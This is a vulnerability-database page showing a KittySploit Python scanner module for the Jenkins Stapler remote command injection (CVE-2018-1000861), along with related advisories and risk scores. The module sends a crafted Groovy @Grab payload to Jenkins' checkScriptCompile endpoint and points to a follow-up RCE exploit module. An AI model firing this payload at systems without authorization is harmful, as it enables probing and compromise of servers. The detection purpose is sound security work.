Lucene search
+L

Jenkins - Remote Command Injection Detection

🗓️ 28 Jul 2026 11:27:38Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com

Remote command injection in Jenkins via MetaClass.java allows method invocation.

Related
Refs
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for CVE-2019-1003000
24 Apr 201923:52
–githubexploit
githubexploit
GithubExploit
Exploit for Deserialization of Untrusted Data in Jenkins
8 Oct 202606:56
–githubexploit
githubexploit
GithubExploit
Exploit for CVE-2019-1003000
15 Feb 201905:59
–githubexploit
githubexploit
GithubExploit
Exploit for Deserialization of Untrusted Data in Jenkins
8 May 201913:52
–githubexploit
attackerkb
attackerkb
CVE-2018-1000861
10 Dec 201800:00
–attackerkb
bdu_fstec
BDU FSTEC
Jenkins Automation Server Code Execution
4 Aug 202200:00
–bdu_fstec
circl
Circl
CVE-2018-1000861
18 Mar 201912:37
–circl
cisa_kev
CISA KEV Catalog
Jenkins Stapler Web Framework Deserialization of Untrusted Data Vulnerability
10 Feb 202200:00
–cisa_kev
cisa
CISA
CISA Adds 15 Known Exploited Vulnerabilities to Catalog
10 Feb 202200:00
–cisa
cnvd
CNVD
CloudBees Jenkins Code Execution Vulnerability
11 Dec 201800:00
–cnvd
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Jenkins 2."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'Jenkins - Remote Command Injection Detection',
        'description': 'Jenkins 2.153 and earlier and LTS 2.138.3 and earlier are susceptible to a remote command injection via stapler/core/src/main/java/org/kohsuke/stapler/MetaClass.java that allows attackers to invoke some methods on Java objects by accessing crafted URLs that were not intended to be invoked this way.',
        'author': ['KittySploit Team'],
        'severity': 'critical',
        'tags': ['web', 'scanner', 'cve', 'cve2018', 'packetstorm', 'kev', 'vulhub', 'rce', 'jenkins', 'vkev', 'vuln'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.3,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'admin_surface',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': [
                    'exploits/multi/http/jenkins_cve_2018_1000861_rce',
                ],
            },
        },
        'references': [
            'https://github.com/vulhub/vulhub/tree/master/jenkins/CVE-2018-1000861',
            'https://nvd.nist.gov/vuln/detail/CVE-2018-1000861',
            'https://jenkins.io/security/advisory/2018-12-05/#SECURITY-595',
            'http://packetstormsecurity.com/files/166778/Jenkins-Remote-Code-Execution.html',
            'https://access.redhat.com/errata/RHBA-2019:0024',
        ],
        'cve': 'CVE-2018-1000861',
    }

    def run(self):
        r = self.http_request(method="GET", path='/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name=%27test%27,%20root=%27http://aaa%27)%0a@Grab(group=%27package%27,%20module=%27vulntest%27,%20version=%271%27)%0aimport%20Payload;', allow_redirects=False)
        if not r or r.status_code != 200:
            return False
        body = r.text or ""
        body_any = ('package#vulntest',)
        if (any(m in body for m in body_any)):
            self.set_info(
                severity='critical',
                reason="Jenkins - Remote Command Injection detected",
                path='/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name=%27test%27,%20root=%27http://aaa%27)%0a@Grab(group=%27package%27,%20module=%27vulntest%27,%20version=%271%27)%0aimport%20Payload;',
            )
            return True
        return False

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Oct 2026 14:20Current
7.6High risk
Vulners AI Score7.6
CVSS 3.19.8
CVSS 210
EPSS0.98326
SSVC
0